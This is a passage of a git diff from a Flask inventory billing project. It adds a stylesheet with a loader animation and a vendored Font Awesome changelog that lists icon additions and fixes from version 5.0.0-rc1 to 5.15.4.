b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/css/styles.css new file mode 100644 index 00000000..03813eea --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/css/styles.css @@ -0,0 +1,82 @@ +html{ + height: 100%; + width: 100%; + overflow-x: hidden; +} + +main { + padding: 1em 0; +} + +main * { + font-family: Comic Sans MS; +} + +#project-title { + text-shadow: 3px 3px 7px #000; + padding: 0.1em 0.1em !important; + color: white; + font-size: 3em; + padding-bottom: 0.5em !important; +} + + +/* Loader */ + +#pre-loader { + position: absolute; + width: 100%; + height: 100%; + top: 0; + left: 0; + backdrop-filter: brightness(.5); + display: flex; + align-items: center; + justify-content: center; + z-index: 99; +} + +.lds-hourglass { + display: inline-block; + position: relative; + width: 80px; + height: 80px; +} + +.lds-hourglass:after { + content: " "; + display: block; + border-radius: 50%; + width: 0; + height: 0; + margin: 8px; + box-sizing: border-box; + border: 32px solid #fff; + border-color: #fff transparent #fff transparent; + animation: lds-hourglass 1.2s infinite; +} + +@keyframes lds-hourglass { + 0% { + transform: rotate(0); + animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19); + } + 50% { + transform: rotate(900deg); + animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1); + } + 100% { + transform: rotate(1800deg); + } +} + +#product-result { + max-height: 43vh; + z-index: 2; +} + +#product-result:empty:after { + content: "No Result"; + width: 100%; + text-align: center; +} \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/CHANGELOG.md b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/CHANGELOG.md new file mode 100644 index 00000000..500b023e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/CHANGELOG.md @@ -0,0 +1,1105 @@ +# Change Log + +All notable changes to this project will be documented in this file. + +The format is based on [Keep a Changelog](https://keepachangelog.com/) and this project adheres to [Semantic Versioning](https://semver.org/). + +**Note that references to the Font-Awesome-Pro repository refer to a GitHub +repository that is by invitation only. You will get a 404 - Not Found if you do +not have access** + +--- + +## [5.15.4](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.15.4) - 2021-08-04 + +### Changed + +* Removed the tripadvisor brand icon by request of Tripadvisor +* Update bug, bullseye, drone, icons FortAwesome/Font-Awesome#17800 FortAwesome/Font-Awesome#17106 FortAwesome/Font-Awesome#17730 +* Update bootstrap, discord, figma, and font-awesome-* brand icons FortAwesome/Font-Awesome#17436 + +### Fixed + +* Made font-family matching case-insensitive for SVG + JavaScript version of Font Awesome FortAwesome/Font-Awesome#17860 +* Corrected missing version hospital-user FortAwesome/Font-Awesome#17435 +* Removed useless .tgz file in @fortawesome/fontawesome-pro and all @fortawesome/pro-*-svg-icons + +--- + +## [5.15.3](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.15.3) - 2021-03-16 + +### Changed + +* Updated air-freshener's design due to trademark violation notice + +--- + +## [5.15.2](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.15.2) - 2021-01-13 + +### Changed + +* Support release to improve Font Awesome Kits performance + +--- + +## [5.15.1](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.15.1) - 2020-10-05 + +### Changed + +* Update to the ravelry brand icon + +### Fixed + +* Removed fill attribute from the vest and vest-patches icon +* Moved attribution comment to correct location for sprites +* Fixed duotone icons not rendering in Kits + +--- + +## [5.15.0](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.15.0) - 2020-09-28 + +**Minor version upgrade notice: there are some backward-incompatible changes to this release. See the +[UPGRADING.md guide](https://github.com/FortAwesome/Font-Awesome/blob/master/UPGRADING.md) for more +information.** + +### Added + +* Added guilded, hive, innosoft, instalod, ns8, octopus-deploy, perbyte, + uncharted, watchman-monitoring, wodu sponsored brand icons +* Added commissioned vest and vest-patch icon +* Added cloudflare brand icon + +### Changed + +* Removed the adobe icon at the request of Adobe +* Update rocketchat brand icon + +### Fixed + +* Conflict detection now includes Kits when checking for conflicts + +--- + +## [5.14.0](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.14.0) - 2020-07-15 + +**Minor version upgrade notice: there are some backward-incompatible changes to this release. See the +[UPGRADING.md guide](https://github.com/FortAwesome/Font-Awesome/blob/master/UPGRADING.md) for more +information.** + +### Fixed + +* Corrected rendering issue with the tripadvisor brand icon in Windows 10 FortAwesome/Font-Awesome#16817 +* Corrected unicode values that were outside the Unicode Private Use Area (PUA) FortAwesome/Font-Awesome#16804 + +--- + +## [5.13.1](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.13.1) - 2020-06-18 + +### Added + +* New brand icons deezer, edge-legacy, google-pay, rust, tiktok, and unsplash +* Icons sink, users-slash, bacteria, and bacterium added to Font Awesome Free + +### Changed + +* Updated brand icons bandcamp, google-plus, tripadvisor, and yahoo + +### Fixed + +* Icon hand-holding-water missing 5.13.0 in its versions + +--- + +## [5.13.0](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.13.0) - 2020-03-23 + +### Added +* New icons related to COVID-19 +* Added the ability to specify mask ID and title ID for SVG with JS which allows + snapshot testing tools to get a predictable result when executing tests + +### Changed +* Explicitly set font-display to block which supresses warnings of font-display + in tools like Lighthouse + +### Fixed +* Corrected version 4 font face shim src attribute declaration that was warning + of incorrect font file format +* Fixed font family name to be 'Font Awesome 5 Free' for free kits when using + pseudo-elements + +--- + +## [5.12.1](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.12.1) - 2020-02-04 + +### Added +* user-unlock icon FortAwesome/Font-Awesome#13280 +* mixer brand icon FortAwesome/Font-Awesome#11242 +* coffin-cross icon FortAwesome/Font-Awesome#15646 +* instagram-square icon FortAwesome/Font-Awesome#9223 +* shopify icon FortAwesome/Font-Awesome#3850 +* dailymotion icon FortAwesome/Font-Awesome#3890 + +### Changed +* Do not separate web fonts files for Free Kits +* The .fab CSS class now has explicit weight of 400 instead of inheriting 'normal' +* Balance the plus symbol in file-plus and folder-plus FortAwesome/Font-Awesome#16004 +* Removed cross from coffin (new coffin-cross still available) FortAwesome/Font-Awesome#15646 +* Updated edge brand icon FortAwesome/Font-Awesome#15771 +* Updated clock hands FortAwesome/Font-Awesome#15779 + +### Fixed +* Guard against run-away pseudo element searching with String.codePointAt ponyfill +* Silence errors when using the conflict detector + +--- + +## [5.12.0](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.12.0) - 2019-12-10 + +### Added +* New science fiction and household icons +* Metadata in Yaml format now available in JS packages + @fortawesome/fontawesome-free and @fortawesome/fontawesome-pro + +### Changed +* Updated twitch, safari, pied-piper, and android brand icon +* Renaming haykal icon to bahai +* Added "sideEffects: false" to JS icon packages to aid with tree-shaking + +### Fixed +* Improved eye position on the dog icon +* Updated solid style of the shape icon +* Adding missing versions for balance-scale-left and balance-scale-right icons +* Corrected missing cut-outs for envelope-open-dollar and envelope-open-text + which made swap opacity incorrect +* Fixing icon mismatch for contract and expand icons in the version 4 shim +* TypeScript definition includes optional params for layer() API call +* Symbols can now be inserted using Windows Character Map, Word, and PowerPoint + FortAwesome/Font-Awesome#14614 +* Correcting the LICENSE.txt for @fortawesome/fontawesome-svg-core and + @fortawesome/fontawesome-common-types + +--- + +## [5.11.2](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.11.2) - 2019-09-23 + +### Changed +* Updated laravel brand icon + +### Fixed +* New scanner-image icon was using the same unicode value as scanner causing overlapped icons +* The film-canister icon was incorrectly spelled film-cannister + +--- + +## [5.11.1](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.11.1) - 2019-09-18 + +### Fixed +* Duotone icons updated in 5.11.0 had incorrect attribute order which caused + them to fail to load for all kits + +--- + +## [5.11.0](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.11.0) - 2019-09-18 + +### Added +* New tech, music, and western-themed icons +* Added umbraco, swift, orcid, mdb (and one more surprise) brand icons + +### Fixed +* SVG with JavaScript no longer duplicates the id attribute when in nesting mode +* Corrected inconsistencies with the send-back and send-backward icons +* Corrected inconsistencies with duotone icon viewBox widths that did not match + the solid style + +--- + +## [5.10.2](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.10.2) - 2019-08-22 + +### Added +* SVG with JS API function layers() now accepts params to add additional classes + +### Changed +* Lots of updates to various duotone icons +* Updated the keybase brand icon + +### Fixed +* Duotone icon updates FortAwesome/Font-Awesome#15396 + FortAwesome/Font-Awesome#15409 FortAwesome/Font-Awesome#15413 + FortAwesome/Font-Awesome#15325 FortAwesome/Font-Awesome#15334 + FortAwesome/Font-Awesome#15339 FortAwesome/Font-Awesome#15346 + +--- + +## [5.10.1](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.10.1) - 2019-08-02 + +### Added +* README file in the otfs/ directory to help direct folks to documentation for the new Duotone OTF file + +### Changed +* A lot of visual improvements and consistency fixes to many of the new Duotone icons +* The fa-swap-opacity class now works with parent containers where Duotone icons as children + +### Fixed +* Duotone SCSS files were not being correctly compiled with the Dart-Sass tool +* Font Awesome logo was not appearing in desktop application in font pickers + +--- + +## [5.10.0](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.10.0) - 2019-07-29 + +### Added +* Duotone icons style added with over 1,600 new icons +* New conflict detection script to help identify conflicting versions of Font Awesome (js/conflict-detection.js) +* Icons border-center-v and border-center-h +* New brand icon for cotton-bureau + +### Changed +* Updated version 4 shim to more accurately match sort-alpha-desc, sort-amount-desc, sort-numeric-desc + +### Fixed +* Icon sort-amount-down-alt incorrectly matching sort-amount-down +* Icon border-outer icon missing inner grid shapes + +--- + +## [5.9.0](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.9.0) - 2019-06-04 + +**Minor version upgrade notice: there are some backward-incompatible changes to this release. See the +[UPGRADING.md guide](https://github.com/FortAwesome/Font-Awesome/blob/master/UPGRADING.md) for more +information.** + +### Added +* An assortment of voted icons, updated icons, and new icons +* New icons and updates to the text editor category +* A flipped version of the phone and phone-alt icon + +### Changed +* Removed the nintendo-switch icon by request of Nintendo +* Sorted out the sort icons FortAwesome/Font-Awesome#9464 FortAwesome/Font-Awesome#9419 FortAwesome/Font-Awesome-Pro#915 +* De-crevassed the brain icons + +### Fixed +* Proportions corrected on facebook-messenger brand icon + +--- + +## [5.8.2](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.8.2) - 2019-05-07 + +### Added +* New brand icon stackpath + +### Changed +* Updated redhat, mailchimp brand icons +* Updated Facebook brand icons in accordance with https://facebookbrand.com (facebook, facebook-f, facebook-square) +* Updated Git brand icons (git, git-square, git-alt) +* Removing the "at" character to prevent overlap with the at icon + +### Fixed +* Missing version for the route icon FortAwesome/Font-Awesome#13804 +* Corrected the orientation of radiation and radiation-alt icons +* Alignment fixed for check-double +* Moved the notch into the correct location for sim-card +* Allow the role attribute to be specified FortAwesome/Font-Awesome#14791 +* Prevent IE11 CSS selector error from crashing SVG with JS execution + +--- + +## [5.8.1](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.8.1) - 2019-03-21 + +### Fixed +* Correct the baseline alignment of the linkedin-in brand icon + +--- + +## [5.8.0](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.8.0) - 2019-03-20 + +**Minor version upgrade notice: there are some backward-incompatible changes to this release. See the +[UPGRADING.md guide](https://github.com/FortAwesome/Font-Awesome/blob/master/UPGRADING.md) for more +information.** + +### Added +* New sponsored icon wave-square +* Adding new mutateApproach configuration which can force SVG with JS to render synchronously +* Adding a round of top requested brand icons + +### Changed +* Updating search terms and adding new categories +* Removing descender-based CSS from the .fa-icon Sass mixin +* Removed title elements from SVG sprites + +### Fixed +* Fixing several icons such as spinner-third that had incorrect widths +* Allow Sass setting for `font-display` to be changed +* Missing dots in the flower icons +* Support strict math compatibility for Less +* Support fa-flip-both in the SVG with JS version + +--- + +## [5.7.2](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.7.2) - 2019-02-12 + +### Fixed +* Vertical alignment issues using OTF and TTF files in desktop applications that differ from previous + Font Awesome versions (< 5.7.0) + +--- + +## [5.7.1](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.7.1) - 2019-02-01 + +### Fixed +* The @fortawesome/fontawesome-pro package had a corrupted SVG webfont file for the solid style +* IE11 error reporting Promise as undefined or finally() not a function +* The cheese has been moved on top of the patty for cheeseburger + +--- + +## [5.7.0](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.7.0) - 2019-01-28 + +**Minor version upgrade notice: there are some backward-incompatible changes to this release. See the +[UPGRADING.md guide](https://github.com/FortAwesome/Font-Awesome/blob/master/UPGRADING.md) for more +information.** + +### Added +* New Food category +* More Medical icons +* More icons from the leaderboard +* Added tasks-alt +* New CSS class fa-flip-both that applies fa-flip-horizontal and fa-flip-vertical together +* CSS now defaults to font-display: auto +* Sass and Less files contain a variable that can be changed to alter the font-display value + +### Changed +* Updated slack brand icon +* Reverted calendar-alt to previous design before 5.6.0 + +### Fixed +* Safari fails to process pseudo elements if the font-weight is "normal" +* Renamed internal method to keep from confusing rJS FortAwesome/Font-Awesome#14461 +* Corrected font weights in TTF files FortAwesome/Font-Awesome#13320 +* XCode now correctly displays different styles when using TTF files +* Support for Turbolinks without modifying the dom.watch() call FortAwesome/Font-Awesome#12709 +* Add focusable=false for SVG elements to prevent IE11 double-focus bug FortAwesome/Font-Awesome#13155 + +--- + +## [5.6.3](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.6.3) - 2018-12-20 + +### Changed +* Revising fire icon and adding alternative fire icon +* Updating fedora brand icon + +--- + +## [5.6.1](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.6.1) - 2018-12-12 + +### Fixed +* NPM JavaScript icon packages no longer include ES6 expressions in non-ES6 files + FortAwesome/Font-Awesome#14382, FortAwesome/Font-Awesome#14380, FortAwesome/Font-Awesome-Pro#1286 +* Removed extra point in the light style of exclamation-triangle +* Correct a typo in the license files + +--- + +## [5.6.0](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.6.0) - 2018-12-07 + +**Minor version upgrade notice: there are some backward-incompatible changes to this release. See the +[UPGRADING.md guide](https://github.com/FortAwesome/Font-Awesome/blob/master/UPGRADING.md) for more +information.** + +### Added +* Holiday category +* Winter category +* A nice selection of the top requested icons from the Font Awesome Leaderboard +* Sponsored icon horse-head +* Brand icons adobe, artstation, atlassian, centos, confluence, dhl, diaspora, + fedex, fedora, figma, intercom, invision, jira, mendeley, raspberry-pi, + redhat, sketch, sourcetree, suse, ubuntu, ups, usps, and yarn +* The Canadian Maple Leaf (Aboot time, eh. You hosers.) + +### Changed +* Added more icons to Buildings, Hands, Spinners, Users & People, and Vehicles categories +* Added indicators whether an icon was added to Font Awesome through community voting + +### Fixed +* Missing metadata for holly-berry + +--- + +## [5.5.0](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.5.0) - 2018-11-02 + +### Added +* Politics category +* Weather category (volume 1 and 2) +* Brand icon reacteurope +* Sponsorship of briefcase by WorkRails + +### Fixed +* Alignment centered for larger icons when using the CSS stacks feature + +--- + +## [5.4.2](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.4.2) - 2018-10-25 + +### Added +* Brand icon think-peaks + +### Changed +* Updated rocketchat brand icon +* Adding vr-cardboard and d-and-d-beyond to Free version +* Replacing rendact with wpressr brand icon +* Changing the version 4 shim for commenting icon to solid style to better match version 4 + +### Fixed +* Path issues with tombstone-alt icon in Regular and Light styles + +--- + +## [5.4.1](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.4.1) - 2018-10-10 + +### Fixed +* Separate wand and wand-magic into unique icons +* Corrected the alignment of linkedin-in +* Renamed categories "Holiday" to "Halloween" and "Seasonal" to "Autumn" + +--- + +## [5.4.0](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.4.0) - 2018-10-08 + +### Added +* New Tabletop Gaming, Holiday, Seasonal category +* 7 tabletop gaming brands (acquisitions-incorporated, critical-role, d-and-d, d-and-d-beyond, fantasy-flight-games, penny-arcade, wizards-of-the-coast) +* 25 new animals (and all of them are real you Disbelievers) +* Sponsorship of volume-mute by Pulse-Eight +* creative-commons-zero added to Free version +* DEV brand icon +* Search terms "positive" and "negative" added to applicable icons +* Sponsorship of chess-knight by Inspira bvba +* Sponsorship of blender-phone by Joe Emison +* Icons chair, chair-office, file-csv, hammer, head-side, head-vr, house-damage, hryvnia, network-wired, running, slash, user-injured, and vr-cardboard + +### Changed +* Using masks with SVG and JavaScript now use nanoid generated IDs instead of a simple counter +* Updated speakap brand icon +* Revised menorah icon and added hanukiah + +### Fixed +* Slight distortion in book-heart +* Bad search terms for folder icon +* Set license for @fortawesome/free-brands-svg-icons NPM package + +--- + +## [5.3.1](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.3.1) - 2018-08-28 + +### Changed +* Updating icons in the Status category + +### Fixed +* sponsors.yml listed icon prayer instead of pray +* Removed Pro icons that accidentally made it into Free + +--- + +## [5.3.0](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.3.0) - 2018-08-27 + +### Added +* New Religion, and Marketing category +* New icons in the Mathematics, and Business category +* New stats for signal, volume, and wifi icons +* New brand icon for the-red-yeti and alipay + +### Changed +* Adding ethereum to Currency category +* Adding bitcoin and btc to Payments & Shopping + +### Fixed +* Incorrect name for layer-minus and layer-plus in sponsors.yml +* Reversing route-highway and route-interstate +* Correct version identifier in OTF and web font files +* CSS keyframe names are not minified (and renamed) to prevent conflict with user or app specific names +* Sass placeholder selector added for %fa-icon to fix CSS precendence issue with font-weight + +--- + +## [5.2.0](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.2.0) - 2018-07-23 + +### Added +* New education and automotive categories +* More icons in the medical and maps categories +* Top requested brands ello, hackerrank, kaggle, markdown, neos, and zhihu + +--- + +## [5.1.1](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.1.1) - 2018-07-17 + +### Added +* Additional search terms for various icons FortAwesome/Font-Awesome#13429 + +### Changed +* Marked the font-awesome-logo-full as a "private" icon +* Consistently named and minified CSS and JS files in the CDN, npm packages, and zip files + +### Fixed +* Removed "fa-" prefix from Less and Sass style bundles filenames +* Unable to use brand icons with pseudo-elements and SVG with JS +* Adding icons explicitly using the library were not available when using pseudo-elements and SVG with JS +* smile-plus search terms in icons.yml incorrectly formatted +* kiss and grin-wink icons having incorrect weight / style FortAwesome/Font-Awesome#13361 FortAwesome/Font-Awesome#13363 +* Missing underscore in filenames in the less/v4-shims.less FortAwesome/Font-Awesome#13415 +* Light style for code-commit +* Including rev brand icon in the Font Awesome Free version + +--- + +## [5.1.0](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.1.0) - 2018-06-20 + +**Minor version upgrade notice: there are some backward-incompatible changes to this release. See the +[UPGRADING.md guide](https://github.com/FortAwesome/Font-Awesome/blob/master/UPGRADING.md) for more +information.** + +### Added +* New Emoji, Design, and Travel category pack +* Another group of requested and commissioned icons +* Version 4 shim for Web Fonts with CSS +* New simplified download and NPM packages +* @fortawesome/fontawesome-free and @fortawesome/fontawesome-pro NPM packages that match what's available in the CDN and .ZIP files +* Brand icons rev, nimblr, megaport, mailchimp, hornbill, wix, weebly, themeco, squarespace, aws, shopware +* API method toHtml() for converting abstract objects to HTML +* API method counter() to generate Layers Counters +* API method watch() to configure MutationObserver and watch DOM for icon changes and additions + +### Changed +* Relocating sponsor data to a separate sponsors.yml +* Updated teamspeak brand icon +* No more default exports in the CommonJS/ES packages (anything installed from NPM) +* Greatly improved performance and rendering of CSS pseudo-elements with SVG and JavaScript +* Configuration of SVG with JavaScript can now be done with attributes on the script tag +* SVG with JavaScript pseudo-elements now match syntax (font-family, font-weight) of Web Fonts with CSS + +### Fixed +* Tree shaking of all NPM packages by default +* Alignment of the book-open and dice-six icon +* Correcting creative-commons +* Incorrect license on the fontawesome-common-types package +* Improve ligatures that share a base name with another ligature +* Correcting solid style of the digital-tachograph icon +* Prevent duplicating classes in some scenarios with SVG with JavaScript +* Duplicate insertion of CSS when insertCss() method was called +* Missing TypeScript definitions for the free-brands-svg-icons package + +--- + +## [5.0.13](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.0.13) - 2018-05-10 + +### Added +* 68 icons to Free and 165 to Pro of the most requested icons in Font Awesome + +--- + +## [5.0.12](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.0.12) - 2018-05-03 + +### Added +* A long time ago in a galaxy far, far away some icons were added + +### Fixed +* Renamed the r brand to r-project to prevent ligature collision with the "r" glyph + +--- + +## [5.0.11](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.0.11) - 2018-05-01 + +### Added +* 16 new user icons +* Full set of Creative Commons symbols +* Regular style comment-dots used for v4 comment-alt in shim +* Top 6 brand icons: r, ebay, mastodon, researchgate, keybase, teamspeak + +### Changed +* Revised slider icons FortAwesome/Font-Awesome#11872 +* Make desktop typeface easier to find in apps that support ligature previews + +### Fixed +* Remove errant XML entity from the lastfm-square icon FortAwesome/Font-Awesome#12847 +* Correcting paths in cloud icons FortAwesome/Font-Awesome-Pro#920 + +--- + +## [5.0.10](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.0.10) - 2018-04-10 + +### Added +* New java brand icon FortAwesome/Font-Awesome#386 + +### Changed +* Updating depth of dna icon +* Updating pied-piper, adding pied-piper-hat + +### Fixed +* Correcting path errors on readme icon FortAwesome/Font-Awesome#12754 +* Light style of lamp icon FortAwesome/Font-Awesome#12725 + +--- + +## [5.0.9](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.0.9) - 2018-03-27 + +### Added +* New Chat icon pack and category +* New Charity icon pack and category +* New Moving icon pack and category +* New icons hands and hand-holding + +### Changed +* Updated flipboard, readme, and houzz brand icon +* Making all solid icons in the medical icon pack free +* Updated hand-holding-box and hand-receiving in the Light style + +### Fixed +* Missing box-sizing CSS property for fa-layers-counter + +--- + +## [5.0.8](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.0.8) - 2018-03-01 + +### Fixed +* OTF font files missing ligatures for Pro styles FortAwesome/Font-Awesome#12486 FortAwesome/Font-Awesome-Pro#1034 + +--- + +## [5.0.7](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.0.7) - 2018-02-26 + +### Added +* New Logistics category +* New Medical category +* Individual SVG files available from the Font Awesome CDN +* Additional search terms + +### Changed +* Apple brand icon update FortAwesome/Font-Awesome#12337 +* Disable mutation observers with fontawesome.noAuto() is called +* License information now references https URL scheme + +### Fixed +* Missing TypeScript names FortAwesome/react-fontawesome#83 +* Adding categories metadata FortAwesome/Font-Awesome#12034 +* TypeScript improvement for fontawesome.layer() +* Correcting a melting, wobbling, weird-looking whistle + +--- + +## [5.0.6](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.0.6) - 2018-01-25 + +### Fixed +* @fortawesome/fontawesome-pro-light missing submodules + +--- + +## [5.0.5](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.5) - 2018-01-25 + +### Added +* New Sports category +* New Chess category +* Added brand icons for flipboard, php, quinscape, and hips + +### Fixed +* Sass and Less mixin fa-icon() now uses ems instead of percentage +* Corrected misspelling of "Alternate" in category labels +* Improved TypeScript definitions for @fortawesome/fontawesome +* Server-side rendering was failing due to DOM-specific object access +* SVG attributes "data-fa-processed" renamed to "data-fa-i2svg", only applies if rendered with i2svg() method + +--- + +## [5.0.4](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.4) - 2018-01-10 + +### Changed +* Updating all NPM package READMEs + +### Fixed +* Improving TypeScript exports and fixing some incorrect definitions +* TypeScript error when importing entire style Fort-Awesome/Font-Awesome#12072 +* Pseudo-elements erasing text contents in parent container Fort-Awesome/Font-Awesome-Pro#11995 +* fa-layers-text misalignment when using Bootstrap Fort-Awesome/Font-Awesome#11871 + +--- + +## [5.0.3](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.3) - 2018-01-08 + +### Added +* Adding elementor, youtube-square brand icons +* Adding window-minimize to the Free subset +* TypeScript support for all NPM packages + +### Fixed +* Corrected uneven spacing in university, address-book, address-card, id-badge, id-card, mouse-pointer, phone-volume, portrait, user-alt, user-circle, user-md, user-plus, user-times, user , users +* Corrected uneven spacing in brand icons behance-square, dashcube, discourse, ember, erlang, fort-awesome, js-square, laravel, mix, patreon, palfed, phoenix-framework, node-js, skyatlas, stack-exchange, stripe, viber, weixin, yahoo , yoast + +--- + +## [5.0.2](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.2) - 2017-12-19 + +### Added +* Adding amazon-pay, cc-amazon-pay, korvue, ethereum brand icons +* Adding stopwatch to Free version + +### Changed +* Ligatures now support capital case, all caps, and title case + +### Fixed +* NPM packages now behave the same way as CDN and browser-specific packages FortAwesome/Font-Awesome-Pro#727 FortAwesome/Font-Awesome-Pro#896 FortAwesome/Font-Awesome-Pro#891 +* Icon doesn't change when pseudo-element content changes FortAwesome/Font-Awesome-Pro#839 +* Invalid XML in sprites FortAwesome/Font-Awesome-Pro#927 +* Incorrect version in Sass and Less variable files + +--- + +## [5.0.1](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.1) - 2017-12-08 + +### Added +* Adding font-awesome-flag, lock-open, redo-alt, sync-alt, undo-alt to the Free version +* New NPM packages `fontawesome-free-webfonts` and `fontawesome-pro-webfonts` +* Adding old icon names to search terms for renamed icons +* Extensive metadata added to the `advanced-options` directory +* Adding stripe-s brand icon +* Adding typo3 brand icon + +### Changed +* Updated dropbox brand icon to match new branding guidelines +* Updated firefox brand icon +* Updated strava brand icon +* OTF font file now include a space character + +### Fixed +* OTF font file now supports different styles in Windows +* OTF font file "j" character now has correct space on the right +* Modifying the `class` attribute on an existing `` allows you to change the icon + +--- + +## [5.0.0](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0) - 2017-12-01 + +### Added +* License information + +### Changed +* CSS vertical-align now "em"-based instead of percentage making it more consistent +* fa-ul width now closer to default browser size + +--- + +## [5.0.0-rc5](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-rc5) - 2017-11-28 + +**This release includes breaking changes** + +### Added +* Brand icons: gitter, cc-stripe, stripe, hooli, aviato, strava, ember, angular, font-awesome-flag +* Icons compress-alt and expand-alt +* Adding calendar to Font Awesome 5 Free +* SASS function that makes it easier to use variables FortAwesome/Font-Awesome-Pro#824 + +### Changed +* BREAKING Renamed icon composition to mask ("data-fa-compose" becomes "data-fa-mask") +* BREAKING Re-organized directory structure to match upcoming documentation +* BREAKING Font Awesome styles inserted into the `` will now precede other link and style definitions +* BREAKING `fontawesome.text` and `fontawesome.icon` now use `styles` param instead of `style` +* Updated sizing for twitter, discord, youtube +* Class fa-li now respects line-height and has new recommended markup (see included docs) + +### Fixed +* Duplicate `style` tags being added in the head FortAwesome/Font-Awesome-Pro#858 +* Error with icon composition/masking that caused a confusing error message +* An error when using pseudo elements and the element is empty (Array.reduce error) +* Icons not being replaced with SVG if the text content is not empty + +--- + +## [5.0.0-rc4](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-rc4) - 2017-10-27 + +### Added +* Ligature support in the OTF font +* Vue.js brand icon +* Sass and Less brand icons +* Autoprefixer brand icon +* Individual icon imports in icon packages FortAwesome/Font-Awesome-Pro#808 + +### Changed +* Better poo eyes +* Renamed HTML status classes to `fontawesome-i2svg-active`, `fontawesome-i2svg-pending`, `fontawesome-i2svg-complete` +* HTML status class for active is added only after the first batch of icon replacements occur +* Added mention of newer versions of iOS in documentation FortAwesome/Font-Awesome-Pro#810 + +### Fixed +* Performance and missing features with mutation observer (should fix FortAwesome/Font-Awesome-Pro#813) +* Incorrect handling of icon class and style attributes when using autoReplace = 'nest' FortAwesome/Font-Awesome-Pro#809 +* Pseudo elements not added or removed when class mutations occur FortAwesome/Font-Awesome-Pro#821 + +--- + +## [5.0.0-rc3](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-rc3) - 2017-10-13 + +### Added +* Node.js brand icon FortAwesome/Font-Awesome-Pro#779 +* React brand icon FortAwesome/Font-Awesome-Pro#780 +* OSI brand icon FortAwesome/Font-Awesome-Pro#748 +* Add a class to the html element when icon replacement is complete FortAwesome/Font-Awesome-Pro#778 +* Add support for symbols in API including ability to name the symbol +* Use CSS pseudo elements (:before and :after) to make trigger SVG replacements + +### Changed +* Switched the locations of fork and knife in utensils-alt FortAwesome/Font-Awesome-Pro#466 +* Updated the AWS brand icon FortAwesome/Font-Awesome-Pro#735 +* Updated Apple App Store icon FortAwesome/Font-Awesome-Pro#728 + +### Fixed +* Do not throw an error if icon is missing when calling icon() method in API +* Ensure that unicode values do not change between releases +* Version field is missing in fontawesome-pro-brands/package.json FortAwesome/Font-Awesome-Pro#781 +* Repeated commenting out of fa-layers when i2svg is called FortAwesome/Font-Awesome-Pro#788 +* Title not showing up correctly for SVG FortAwesome/Font-Awesome-Pro#786 + +--- + +## [5.0.0-rc2](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-rc2) - 2017-09-22 + +### Added +* Brand icons: accusoft, ns8, uniregistry + +### Fixed +* Link to the npm package in the docs FortAwesome/Font-Awesome-Pro#729 +* Incorrect reference to fontawesome-pro.js in docs + +--- + +## [5.0.0-rc1](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-rc1) - 2017-09-15 + +### Changed +* New Bitbucket logo FortAwesome/Font-Awesome-Pro#720 +* Modifed the star icons to match use case better FortAwesome/Font-Awesome-Pro#710 +* Switched names of css3 and css3-alt to reflect correct branding + +### Fixed +* Correct whitespace with the Visa logo FortAwesome/Font-Awesome-Pro#719 +* Improve OTF support by passing through FontForge FortAwesome/Font-Awesome-Pro#565 +* Fonts with "undefined" name FortAwesome/Font-Awesome-Pro#711 